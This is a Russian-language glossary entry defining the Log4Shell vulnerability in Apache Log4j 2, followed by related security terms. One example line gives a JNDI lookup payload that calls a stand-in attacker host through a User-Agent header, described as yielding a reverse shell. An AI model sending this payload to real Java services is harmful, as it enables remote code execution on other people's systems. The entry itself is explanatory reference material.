Уязвимости
Log4Shell (CVE-2021-44228)
Также известно как: CVE-2021-44228, Уязвимость Log4j
Определение
Критическая уязвимость удалённого выполнения кода в Apache Log4j 2, раскрытая в декабре 2021 года: для эксплуатации достаточно было залогировать строку JNDI-поиска.
Примеры
- Отправка заголовка User-Agent: ${jndi:ldap://attacker.com/x} в Java-приложение и получение reverse shell.
- Эксплуатация внутреннего Java-сервиса через злонамеренное имя пользователя, попадающее в лог.
Связанные термины
CVE (Common Vulnerabilities and Exposures)
Публичный каталог, присваивающий уникальный идентификатор каждой раскрытой уязвимости ПО или оборудования для однозначных ссылок в индустрии.
Уязвимость нулевого дня
Дефект безопасности, неизвестный производителю (или для которого ещё нет патча) на момент его обнаружения или эксплуатации.
Небезопасная десериализация
Уязвимость, при которой приложение десериализует недоверенные данные, позволяя атакующему создавать произвольные объекты и часто получать удалённое выполнение кода.
Атака на цепочку поставок
Атака, при которой компрометируется доверенный сторонний поставщик ПО, оборудования или услуг с целью добраться до его конечных клиентов.
Эксплойт
Код, данные или метод, использующий уязвимость для вызова непредусмотренного поведения — выполнения кода, повышения привилегий или раскрытия информации.
Известная эксплуатируемая уязвимость (KEV)
CVE, активная эксплуатация которой подтверждена CISA США и которая включена в публичный каталог KEV, что устанавливает сроки устранения для федеральных ведомств США.